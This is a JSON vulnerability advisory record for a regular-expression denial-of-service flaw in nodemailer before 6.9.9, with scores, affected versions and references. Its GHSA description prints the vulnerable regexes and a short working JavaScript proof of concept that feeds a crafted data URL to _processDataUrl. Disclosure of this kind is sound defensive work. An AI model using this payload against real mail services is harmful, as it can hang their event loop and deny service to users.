{"id":"CVE-2024-58379","aliases":["CVE-2024-58379","GHSA-9h6g-pr28-7cqp"],"related":[],"kind":"vulnerability","state":"published","title":"nodemailer before 6.9.9 ReDoS via attachDataUrls parameter","summary":"nodemailer before 6.9.9 contains a regular expression denial of service vulnerability in email parsing when attachDataUrls parameter is set or processing embedded file attachments. Attackers can send specially crafted emails with malicious data URLs or embedded attachments to cause the event loop to hang and deny service.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"nodemailer before 6.9.9 contains a regular expression denial of service vulnerability in email parsing when attachDataUrls parameter is set or processing embedded file attachments. Attackers can send specially crafted emails with malicious data URLs or embedded attachments to cause the event loop to hang and deny service.","source":"cvelist"},{"lang":"en","text":"### Summary\nA ReDoS vulnerability occurs when nodemailer tries to parse img files with the parameter `attachDataUrls` set, causing the stuck of event loop. \nAnother flaw was found when nodemailer tries to parse an attachments with a embedded file, causing the stuck of event loop. \n\n### Details\n\nRegex: /^data:((?:[^;]*;)*(?:[^,]*)),(.*)$/\n\nPath: compile -> getAttachments -> _processDataUrl\n\nRegex: /(<img\\b[^>]* src\\s*=[\\s\"']*)(data:([^;]+);[^\"'>\\s]+)/\n\nPath: _convertDataImages\n\n### PoC\n\nhttps://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6\nhttps://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698\n\n```js\nasync function exploit() {\n   const MailComposer = require(\\\"nodemailer/lib/mail-composer\\\");\n   const MailComposerObject = new MailComposer();\n\n   // Create a malicious data URL that will cause excessive backtracking\n   // This data URL is crafted to have a long sequence of characters that will cause the regex to backtrack\n   const maliciousDataUrl = 'data:image/png;base64,' + 'A;B;C;D;E;F;G;H;I;J;K;L;M;N;O;P;Q;R;S;T;U;V;W;X;Y;Z;'.repeat(1000) + '==';\n\n   // Call the vulnerable method with the crafted input\n   const result = await MailComposerObject._processDataUrl({ path: maliciousDataUrl });\n}\n\nawait exploit();\n```\n\n### Impact\n\nReDoS causes the event loop to stuck a specially crafted evil email can cause this problem.","format":"markdown","source":"ghsa"},{"lang":"es","text":"nodemailer versiones anteriores a 6.9.9 contiene una vulnerabilidad de denegación de servicio basada en expresiones regulares en el análisis de correos electrónicos cuando el parámetro attachDataUrls está configurado o al procesar archivos adjuntos incrustados. Los atacantes pueden enviar correos electrónicos especialmente diseñados con URL de datos maliciosas o archivos adjuntos incrustados para provocar que el bucle de eventos se bloquee y cause una denegación de servicio.","source":"nvd"}],"published":"2024-01-31T22:42:54.000Z","modified":"2026-10-27T23:10:00.153Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","score":6.9,"rating":"MEDIUM"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","score":6.9,"rating":"MEDIUM"},{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3,"rating":"MEDIUM"}],"cwes":["CWE-1333"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"6.9.9","status":"affected"},{"type":"semver","version":"6.9.9","status":"unaffected"}],"vendor":"nodemailer","product":"nodemailer","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"6.9.9"}],"ecosystem":"npm","package":"nodemailer","purl":"pkg:npm/nodemailer","source":"ghsa"}],"references":[{"url":"https://github.com/nodemailer/nodemailer/security/advisories/GHSA-9h6g-pr28-7cqp","tags":["vendor-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://www.vulncheck.com/advisories/nodemailer-before-6.9.9-redos-via-attachdataurls-parameter","tags":["third-party-advisory"],"sources":["cvelist","nvd"]},{"url":"https://github.com/nodemailer/nodemailer/commit/dd8f5e8a4ddc99992e31df76bcff9c590035cd4a","tags":["web"],"sources":["ghsa"]},{"url":"https://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6","tags":["web"],"sources":["ghsa"]},{"url":"https://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/nodemailer/nodemailer","tags":["package"],"sources":["ghsa"]}],"credits":["francoatmega"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-08-31T11:02:09.695Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-58379","url":"https://www.cve.org/CVERecord?id=CVE-2024-58379","licence":"CVE Terms of Use","modified":"2026-08-31T11:02:23.257Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-9h6g-pr28-7cqp","url":"https://github.com/advisories/GHSA-9h6g-pr28-7cqp","licence":"CC-BY-4.0","modified":"2026-09-01T03:55:43.162Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-58379","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-58379","licence":"Public domain","modified":"2026-10-27T23:10:00.153Z"}],"updatedAt":"2026-11-25T22:58:53.067Z","epss":{"score":0.00304,"percentile":0.25006,"date":"2026-12-01T12:00:22.000Z"}}